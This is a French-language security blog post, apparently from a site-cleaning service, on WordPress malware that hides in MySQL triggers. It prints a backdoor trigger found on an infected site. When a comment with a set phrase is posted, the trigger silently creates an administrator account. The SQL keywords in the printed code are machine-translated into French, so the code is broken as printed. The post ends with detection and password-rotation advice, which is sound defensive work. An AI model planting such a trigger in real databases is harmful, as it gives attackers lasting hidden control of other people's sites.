Table des matières de l'article :
Au cours de l'année écoulée, on a constaté une augmentation des attaques de logiciels malveillants ciblant WordPress utilisant des déclencheurs SQL pour dissimuler des requêtes SQL malveillantes au sein de bases de données compromises . Ces requêtes insèrent un utilisateur disposant de privilèges d'administrateur dans la base de données infectée dès que la condition de déclenchement est remplie.
Ce qui rend la situation particulièrement problématique pour les propriétaires de sites web, c'est que la plupart des guides de nettoyage de logiciels malveillants se concentrent sur les fichiers et les données du site web contenus dans des tables de base de données spécifiques, telles que wp_users , wp_options et wp_posts.
Si vous utilisez un système de gestion de contenu (CMS) populaire sur votre site web (comme WordPress), il est probable qu'il utilise une base de données MySQL pour stocker des données importantes, telles que les paramètres du CMS et le contenu (par exemple, les articles WordPress). Cela signifie que toute action susceptible de modifier la base de données MySQL peut également causer de graves dommages à votre site web, comme l'injection de contenu malveillant ou même la suppression de son contenu.
Ce risque de sécurité est l'une des raisons pour lesquelles la base de données MySQL se voit attribuer un nom d'utilisateur et un mot de passe distincts (voir le fichier wp-config.php ) : cette fonctionnalité empêche toute personne d'interroger à distance la base de données MySQL sans les informations de connexion appropriées.
Étant donné que WordPress a accès à vos informations de connexion via wp-config.php , il peut lire et modifier la base de données définie dans le fichier de configuration.
Malheureusement, une fois qu'ils obtiennent un accès non authentifié, les attaquants peuvent souvent lire le fichier wp-config.php pour connaître les informations de connexion à la base de données du site web, informations que leur logiciel malveillant peut ensuite utiliser pour se connecter à la base de données et y apporter des modifications malveillantes.
Déclencheurs SQL
Un déclencheur SQL est une procédure stockée qui s'exécute automatiquement lorsque des modifications spécifiques sont apportées à la base de données.
Dans les bases de données, un déclencheur est une procédure qui s'exécute automatiquement lors d'un événement spécifique, comme la suppression d'un enregistrement dans une table . Cette technique permet de spécifier et de gérer des contraintes d'intégrité complexes. Les déclencheurs permettent aux utilisateurs de définir des contraintes d'intégrité plus sophistiquées, car un déclencheur est essentiellement une procédure PL/SQL (Oracle), Transact-SQL, etc.
Cette procédure est donc associée à une table et est automatiquement appelée par le moteur de base de données lorsqu'une modification (ou un événement) spécifique survient dans la table. Les modifications apportées à la table peuvent inclure des opérations d'insertion , de mise à jour et de suppression.
Bien qu'elles présentent de nombreuses applications utiles, nous avons également des preuves que les déclencheurs SQL sont utilisés par des attaquants pour maintenir un accès non autorisé après une compromission. Pour ce faire, les attaquants insèrent un déclencheur SQL dans la base de données d'un site web compromis, et lorsque certains critères sont remplis ou qu'un événement se produit, l'action malveillante stockée est exécutée.
Par exemple, nous avons trouvé ce déclencheur SQL de porte dérobée intéressant dans la table wp_comments de la base de données d'un site web infecté :
/*!50003 CRÉER*/ /*!50017 DÉFINISSEUR=`root_ext`@`%`*/ /*!50003 DÉCLENCHER `after_insert_comment` APRÈS INSERT SUR `mechanicalinnovativa`.`wp_comments` POUR CHAQUE LIGNE DÉBUT SI NEW.comment_content COMME '%Avez-vous des difficultés à obtenir des commentaires sur votre blog ?%' ALORS DÉFINIR @lastInsertWpUsersId = (SÉLECTIONNER MAX(id) DE `mechanicalinnovativa`.`wp_users`); DÉFINIR @nextWpUsersID = @lastInsertWpUsersId + 1; INSERT INTO `mechanicalinnovativa`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris'); INSERT INTO `mechanicalinnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'); INSERT INTO `mechanicalinnovativa`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10'); END IF; END */;; Ce déclencheur SQL crée un utilisateur administrateur malveillant à chaque fois qu'un nouveau commentaire contenant les mots clés « Avez-vous du mal à obtenir des commentaires sur votre blog ? » est soumis au site WordPress infecté.
Le déclencheur vérifie la colonne comment_content de la base de données wp_comments ; l’état du commentaire (approuvé ou en attente) est donc sans importance . Une fois le déclencheur SQL exécuté, il injecte un compte administrateur malveillant nommé wpadmin avec une date d’inscription falsifiée (2014-06-08) et une adresse e-mail de type wp-security@hotmail.com.
Conclusion et mesures d'atténuation
Lorsqu'un site web est compromis, vous pouvez être certain que les attaquants rechercheront toutes les informations d'identification de base de données présentes dans wp-config ou d'autres fichiers de configuration du CMS, et il peut être extrêmement difficile de déterminer si le pirate a collecté ces informations à un moment donné après l'infection.
En cas de compromission, il est impératif de mettre à jour les mots de passe de l'ensemble de votre environnement, y compris ceux de vos bases de données. Négliger cette étape après une attaque pourrait permettre à un pirate d'accéder à votre site et de le modifier, même après que vous pensiez l'avoir éradiqué.
Si vous doutez que votre site puisse avoir une porte dérobée de ce type, exportez simplement la base de données via un dump .sql et recherchez la chaîne TRIGGER dans le fichier exporté.
Évidemment, tous les TRIGGERs ne sont pas des portes dérobées, comme nous l'avons dit précédemment, les TRIGGERs sont des outils utiles et légitimes ; cependant, il est également vrai que l'utilisation de TRIGGER dans les installations WordPress est quelque chose de très rare et très inhabituel.
Les propriétaires de sites web compromis peuvent consulter notre service d'assistance pour nettoyer un site infecté et obtenir des instructions sur la marche à suivre. Si vous avez besoin d'aide, nous pouvons supprimer tout logiciel malveillant et porte dérobée et protéger votre site.